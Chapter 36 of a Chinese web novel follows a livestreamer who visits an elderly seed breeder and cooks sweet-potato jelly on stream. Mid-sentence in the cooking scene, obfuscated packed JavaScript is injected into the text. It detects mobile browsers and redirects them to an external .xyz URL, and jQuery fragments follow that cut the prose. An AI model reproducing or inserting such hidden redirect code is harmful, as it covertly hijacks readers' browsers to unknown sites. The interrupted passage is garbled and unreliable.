36


    次日上午，应该该拿着林伯给的地址找到了王老太住的疗养院。这是老城区有名的疗养院，提前接到通知的工作人员正在门口迎接应该该。


    “是应先生吧？王女士已经在里面等着了。”工作人员说。


    疗养院环境很好，不像是应该该之前想象的那样普通，反而各项设备和医护人员都很专业，像是应该该之前去过的高级私人疗养院。


    他心中的猜疑又多了几分。


    王老太住的是单人病房，旁边甚至还有护工一直在守着。见到应该该进入病房，王老太笑逐颜开。


    “哎呀，是该该来看我咯。”


    护工被支走，病房里只留下应该该和王老太两个人。之前应该该以为王老太的家庭情况不是很好，所以觉得她应该会同意交易蜜薯种的事，但现在来到疗养院，他才知道之前是误会了。


    毕竟答应过农科研究所的人，应该该还是将来意跟王老太说了。王老太听罢哈哈大笑，伸出饱经风霜的枯朽手指把应该该拉到自己面前，眯着眼睛细细打量他。


    “哎呦，原来是因为这事啊。要是没有该该我都不知道我培育出了蜜薯种。现在又由该该经手，肯定得卖呀，其他人我都不信任。不过这些事我一个老婆子也理不太清，这样，你跟我徒弟说吧。”


    应该该拿到了王老太徒弟的联系方式，他这时才了解到，原来王老太居然是某所高校的博士生导师，虽然已经退休，但又被返聘。


    而她介绍给应该该的徒弟，现在已经成了那所高校的教授。


    姓李，不到三十岁，未来可期。


    “这么重要的事全权交给我……您为什么会这么放心？”应该该在床边坐下。


    王老太依旧慈爱地看着他，说：“要不是你每次来我这儿买东西都给现金，我哪里能尝到早市上的酥糖呢？”


    应该该：“？”


    坏了，他好像有种不祥的预感。


    “就因为这糖尿病，我那儿子一直在我身边安排了人手看着，给我馋得啊……”


    “所以这就是您在疗养院修养的原因？”应该该嘴角抽了抽，“我开始后悔了，王婆婆。”


    “逗你呢，这次来疗养院不过是例行修养。”王老太说，“我了解我的身体，绝对不会因为一两块酥糖就出问题。”


    应该该这才松了口气。


    他对王老太的身份没什么特别的反应，王老太很满意，拉着他絮絮叨叨说了很久的话，临走前还不忘把桌上的水果都装起来，让应该该拿回去。


    “反正都去不了，你帮我消了吧。”王老太说。


    她像是送孙儿去上学的祖母，一个劲儿给孙儿的背包里塞食物，生怕他饿着。


    王老太的身影逐渐和记忆中的长辈重叠，最终，应该该乖巧点头。


    “好哦～”


    ……


    当天夜里，林伯突然收到了一通来电，他看了一眼名字，发现是楼下早餐店小张的儿子。


    “这小子给我打电话做什么？”


    郑叔在旁边喝茶看新闻，闻言随口一说：


    “小张的儿子现在是江信的董事长，他给你打电话，总不可能跟该该有关？”


    林伯：“有这个可能。”


    林伯接起电话，对面的张董事长先寒暄了一会儿，然后才切入正题，问：


    “母亲让我们帮忙照顾的那个主播，已经有工作室了，我们工作人员还要继续帮忙看着吗？”


    林伯眉头一挑，这老狐狸立刻明白了其中的蹊跷，但他那没有直接表达自己的意愿，而是反问：“你说呢？”


    张董事长一直对这位林老先生又敬又怕，被反问后，简直冷汗都快下来了，顿时六神无主。


    他连忙点头说：“明白，明白。”


    老娘虽然严厉又可怕，但至少知分寸，这位林老先生……他不敢赌。


    林伯又不留痕迹套了张董事长的话，猜测是小张转发了应该该的动态，张董事长以为老娘要自己照顾应该该，所以才引发了这场乌龙。


    他挂断电话，觉得很有趣，走过去问郑叔：“你说我要不要现在就……”


    郑叔掀起眼皮看他一眼，说：“留着，瞒着。”


    “你个老东西，跟我想到一块儿去了！”


    惊喜，当然是要留着合适的时候再炸开，否则就不是惊喜了。


    ……


    应该该回到公寓时，沉淀了一夜的红薯淀粉水已经清澈见底，盆底结着硬硬的石膏红薯淀粉，已经可以做非牛顿流体了。


    应该该打开直播间，然后倒掉上层的清水，然后把剩下的湿淀粉铺平在烤盘上。


    “红薯淀粉生产工厂一般是将湿淀粉掰成小块，然后暴晒两三天。但果城前段时间一直是阴雨天，阴晴不定，所以还是烘干比较保险。”应该该说。


    果城位于蜀地，常年阴雨，即便是在夏天也经常下雨，不定因素太多，所以应该该打算用烤箱烘干。


    烤制前，他还特地喷了白酒杀菌，避免发霉，然后送入烤箱。


    等待了一夜的直播间观众见状更期待了，红薯淀粉可以做许多美食，更何况这还是他们看着做出来的红薯淀粉，意义非凡。


    【主播做的就相当于我做了，毕竟是一家人嘛～】


    【真是辛苦我和乖乖了～记得寄到我家哦乖乖～】


    【说什么这家伙，酒醒了吗？】


    应该该也只是笑笑。


    他中午照旧给布兑送了午餐，却没想到布兑说，过两天要给他个惊喜。


    “什么惊喜？”应该该骑在小电驴上问。


    布兑提着手里的饭盒，摇摇头，“惊喜说出来了，就不是惊喜了。”


    应该该对他的话保持期待，也说：“今晚我也有惊喜给哥哥。”


    布兑挑眉：“那我真是迫不及待了，想要马上就到晚上了。”


    应该该故作神秘，骑着小电驴回了公寓。


    烘烤了6个小时的红薯淀粉已经完全干燥，应该该取出要用的那部分，剩下密封装瓶，存放在阴凉处。


    “有对红薯凉粉感兴趣的粉丝吗？感兴趣的举手。”


    应该该有意和直播间的粉丝互动，这是符茹雪教他的话术之一。他说起来有些生疏，还干巴巴的，偏偏嗫嚅的话语却让人觉得可爱至极。


    【举手，我举手了，乖乖让我跟你一起做～】


    【楼上举手无效，我来举脚。】


    【举手，乖乖要打包送人吗？】


    应该该打了个冷颤，还是觉得好尴尬，符茹雪说他可以抽一两个互动的粉丝寄礼物，他实在是抽不出来，只能交给平台的抽奖机器了。


    还好红薯淀粉做得多，他再买些小礼物就行。


    把抽奖的事跟粉丝们一说，各个欢呼雀跃，应该该松了口气，然后像往常那样专心做饭。


    “其实红薯凉粉做起来非常简单，只需要水和淀粉就行，拌凉粉的料汁可以根据自己口味调制。”


    应该该把烘烤好的红薯淀粉


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16394684|183436||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    和水通过一定比例混合，过滤倒入锅中，煮至透明胶状，然后展示给直播间的人看。


    “就这样煮熟就行，然后放入模具里冷却凝固，就是凉粉了。”


    他把淀粉糊倒进准备好的铁碗，再将铁碗放置在水槽降温，水槽里还放了几块冰块，加速冷却。


    【等等，就这样直接等待凝固吗？】


    【我以为至少还要弄什么特定的比例！】


    【比例应该是有的，但是不像做蛋糕那样细节，我看主播都是根据感觉调的淀粉糊，好像……凉粉真的有手就能做欸？？】


    应该该趁着凉粉冷却的时间调个料汁，就老几样——葱姜蒜泥，再加上胡椒粉、酱油和醋。


    担心凉粉有些单调，应该该还往里面加了黄瓜丝和胡萝卜丝，最后再泼上一瓢热热的红油，料汁立刻爆香。


    这时候凉粉也冷却得差不多了，应该该把铁盆倒扣在菜板上，然后缓缓抬起，直播间镜头里，凝固的凉粉慢慢从铁碗里脱落，最后“啪嗒”一声砸在菜板上，像果冻一样动来动去。


    “成功了！”应该该说。


    【我去，这口感看上去就不错，好有韧性啊！】


    【主播做饭一次过，超爽。】


    【学会了，学会了，明天中午就弄~】


    应该先把一整块果冻似的凉粉切块，然后丢了一半到料汁里凉拌，油亮鲜辣的料汁瞬间沾染上了光滑的凉粉外表，看着就让人流口水。


    “嗯，除了凉拌还能炒制。”应该该点头，然后看一下剩下的那一半凉粉块，迅速往锅里倒上水。


    【啥？炒凉粉，那不就是炒粉？】


    【不不不，炒凉粉、热凉粉、凉粉是不同的食物，当地特色～】


    【冷却凝固的凉粉再炒制的话，不会炒碎或者炒化吗？】


    应该该点头又摇头，解释说：“所以凉粉要先经过预处理，即焯水增加韧性。在炒制的过程中，尽量保持凉粉外皮干燥，就不一定会碎。”


    应该该等待水沸，然后往锅里加了一勺盐，倒入凉粉块，焯水两分钟捞出沥干。


    预处理完毕，应该该起锅烧油，加入蒜末、小米辣和豆瓣炒出红油。辣椒的气味瞬间蔓延整个厨房，还好布兑家的抽油烟机给力，虽然做不到高档抽油烟机那样完全无烟，但好歹是为应该该减轻了一部分的油烟负担。


    【不行了，不行了，果然是当地特产，光这些我吃一口就能哭。】


    【又热又辣，这就是热炒凉粉吗？好强！】


    【好吃的朋友们，超级好吃，入口即化啊！】


    应该该没空看直播间，因为现在已经到了下凉粉的时机，他倒入凉粉块用中火翻炒一分钟，然后轻轻晃动炒锅，最后在锅的边缘淋入少许的生抽、蚝油和老抽等调制的调料水，最后转小火收汁，再放入蒜苗段焖熟。


    “大功告成，一气呵成～”


    应该该大大松了口气。


    这是他第一次尝试炒制凉粉，果城早市上也有炒凉粉的摊位，他偶尔路过的时候会看两眼，学了个七七八八。


    其实他也没想到自己一次就能成，甚至凉粉块还没有碎几个，简直就是奇迹！


    【好厉害的主播！】


    【主播应该是在蜀地吧？制作过程超级正宗。】


    【可是乖乖，你口味不是偏清淡吗？这两样你怎么吃啊，全让你哥吃？】


    应该该摇头晃脑：“我总要试试新口味嘛。”


    至于哭不哭就不一定了，他想。